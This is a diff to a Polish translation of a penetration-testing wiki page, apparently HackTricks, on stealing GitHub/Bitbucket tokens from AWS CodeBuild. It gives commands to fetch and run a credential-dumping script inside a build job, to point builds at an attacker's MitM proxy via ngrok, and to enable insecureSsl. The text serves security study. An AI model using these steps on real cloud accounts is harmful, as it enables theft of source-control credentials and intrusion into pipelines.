diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index c575e0a3f..e1f5ec926 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,39 +2,49 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Recover Github/Bitbucket Configured Tokens
+## Odzyskaj skonfigurowane Tokens Github/Bitbucket
-Najpierw sprawdź, czy są skonfigurowane jakieś poświadczenia źródłowe, które możesz leak:
+Najpierw sprawdź, czy istnieją jakiekolwiek source credentials skonfigurowane, które możesz leak:
```bash
aws codebuild list-source-credentials
```
+### Przez RCE w zadaniu CodeBuild
+
+Z poziomu zadania CodeBuild możesz wywołać nieudokumentowany endpoint API AWS CodeBuild, który zwróci dane uwierzytelniające używane przez CodeBuild. Może to posłużyć do uzyskania danych uwierzytelniających, z którymi skonfigurowano zadanie CodeBuild, np. dane uwierzytelniające AWS CodeConnection, OAUTH lub PAT. Zadanie CodeBuild nie musi mieć uprawnień, aby wywołać ten endpoint, a także trudno to wykryć w logach i monitoringu, ponieważ samo CodeBuild wywołuje ten endpoint kilkukrotnie podczas uruchamiania.
+
+Technika jest opisana szerzej w [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/), ale w skrócie, aby uzyskać dane uwierzytelniające wewnątrz zadania CodeBuild, wystarczy uruchomić następujące:
+```
+python -m pip install botocore boto3 requests
+wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
+python ./GetBuildInfo.py
+```
### Przez Docker Image
-Jeśli stwierdzisz, że w koncie skonfigurowane jest uwierzytelnienie np. do Github, możesz **exfiltrate** ten **access** (**GH token or OAuth token**) zmuszając Codebuild do **use an specific docker image** do uruchomienia builda projektu.
+Jeśli stwierdzisz, że w koncie skonfigurowana jest autoryzacja, np. do Github, możesz **exfiltrate** ten **access** (**GH token or OAuth token**) powodując, że Codebuild **użyje konkretnego Docker image** do uruchomienia builda projektu.
-W tym celu możesz **create a new Codebuild project** lub zmienić **environment** istniejącego, aby ustawić **Docker image**.
+W tym celu możesz **utworzyć nowy Codebuild project** lub zmienić **environment** istniejącego, aby ustawić **Docker image**.
-Docker image, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy Docker image, który ustawi **env variables `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Pozwoli to przechwycić większość ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufać certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
+Docker image, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy Docker image, który ustawi **zmienne środowiskowe `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Pozwoli to przechwycić większość ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufać certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
-1. **Create & Upload your own Docker MitM image**
-- Postępuj zgodnie z instrukcjami w repo, aby ustawić adres IP proxy, skonfigurować certyfikat SSL i **build the docker image**.
-- **DO NOT SET `http_proxy`** — aby nie przechwytywać żądań do metadata endpoint.
+1. **Utwórz & Prześlij własny Docker MitM image**
+- Postępuj zgodnie z instrukcjami w repo, aby ustawić adres IP proxy, załadować certyfikat SSL i **zbudować Docker image**.
+- **DO NOT SET `http_proxy`**, aby nie przechwytywać żądań do metadata endpoint.
- Możesz użyć **`ngrok`**, np. `ngrok tcp 4444`, aby ustawić proxy na swój host.
-- Gdy obraz Docker będzie zbudowany, **upload it to a public repo** (Dockerhub, ECR...)
-2. **Set the environment**
-- Utwórz **new Codebuild project** lub **modify** environment istniejącego.
-- Ustaw projekt, aby używał **previously generated Docker image**
+- Gdy zbudujesz Docker image, **prześlij go do publicznego repo** (Dockerhub, ECR...)
+2. **Skonfiguruj environment**
+- Utwórz **nowy Codebuild project** lub **zmodyfikuj** environment istniejącego.
+- Ustaw projekt tak, aby używał **wcześniej wygenerowanego Docker image**
-3. **Set the MitM proxy in your host**
+3. **Skonfiguruj MitM proxy na swoim hoście**
-- Jak wskazano w **Github repo**, możesz użyć czegoś takiego:
+- Jak wskazano w **Github repo**, możesz użyć czegoś w stylu:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
-> **Użyta wersja mitmproxy to 9.0.1**, zgłoszono, że w wersji 10 może to nie działać.
+> Użyta wersja **mitmproxy** to 9.0.1; zgłoszono, że w wersji 10 może to nie działać.
4. **Uruchom build & przechwyć poświadczenia**
@@ -42,7 +52,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
-Można to również zrobić z aws cli przy użyciu czegoś takiego
+Można to również zrobić za pomocą aws cli, np.:
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +81,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-### Poprzez insecureSSL
+### Za pomocą insecureSSL
-**Codebuild** projects mają ustawienie o nazwie **`insecureSsl`**, które jest ukryte w interfejsie webowym — można je zmienić tylko przez API.\
-Włączenie tego pozwala Codebuild na połączenie z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
+**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
+Włączenie tego pozwala Codebuild łączyć się z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
-- Najpierw musisz wyenumerować aktualną konfigurację poleceniem takim jak:
+- Najpierw wyenumeruj aktualną konfigurację za pomocą czegoś takiego:
```bash
aws codebuild batch-get-projects --name
```
-- Następnie, mając zebrane informacje, możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej przykład aktualizacji projektu — zwróć uwagę na **`insecureSsl=True`** na końcu (to jedyna rzecz, którą musisz zmienić w zebranej konfiguracji).
-- Dodatkowo dodaj też zmienne środowiskowe **http_proxy** i **https_proxy** wskazujące na twój tcp ngrok, np.:
+- Następnie, mając zebrane informacje, możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej przykład mojej aktualizacji projektu — zwróć uwagę na **`insecureSsl=True`** na końcu (to jest jedyna rzecz, którą musisz zmienić w uzyskanej konfiguracji).
+- Dodatkowo dodaj zmienne środowiskowe **http_proxy** i **https_proxy**, wskazujące na twój tcp ngrok w następujący sposób:
```bash
aws codebuild update-project --name \
--source '{
@@ -128,23 +138,23 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Na koniec kliknij **Zbuduj projekt**, **poświadczenia** zostaną **wysłane w postaci jawnego tekstu** (base64) do portu mitm:
+- Na koniec kliknij na **Build the project**, the **credentials** will be **sent in clear text** (base64) do portu mitm:
-### ~~Via HTTP protocol~~
+### ~~Przez protokół HTTP~~
-> [!TIP] > **Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 (chyba w piątek). Więc atakujący nie może już jej wykorzystywać :)**
+> [!TIP] > **Ta podatność została naprawiona przez AWS mniej więcej w tygodniu 20 lutego 2023 (chyba w piątek). Więc attacker nie może już jej nadużywać :)**
-Atakujący z **podwyższonymi uprawnieniami w ramach CodeBuild może leak the Github/Bitbucket token** skonfigurowany lub, jeśli uprawnienia były skonfigurowane przez OAuth, **tymczasowy token OAuth używany do dostępu do kodu**.
+An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
-- Atakujący może dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazując na swoją maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).
+- An attacker może dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazujące na jego maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).
-- Następnie zmień URL repozytorium github, aby używał HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
+- Następnie zmień URL repo github, aby używał HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
- Następnie uruchom podstawowy przykład z [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Następnie kliknij **Build the project** lub uruchom build z linii poleceń:
+- Następnie kliknij na **Build the project** lub uruchom build z wiersza poleceń:
```sh
aws codebuild start-build --project-name
```
-- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Na koniec **credentials** zostaną **wysłane w formie jawnego tekstu** (base64) na port mitm:
> [!WARNING]
-> Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wypisać wszystkie przywileje, które posiada, i (ab)use łatwiej niż używając usługi CodeBuild bezpośrednio.
+> Teraz attacker będzie w stanie użyć tokena ze swojej maszyny, wypisać wszystkie przywileje, które posiada, i (ab)use łatwiej niż korzystając bezpośrednio z usługi CodeBuild.
## Untrusted PR execution via webhook filter misconfiguration
-Dla łańcucha obejścia webhook wyzwalanego PR (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), sprawdź:
+Dla PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), sprawdź:
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md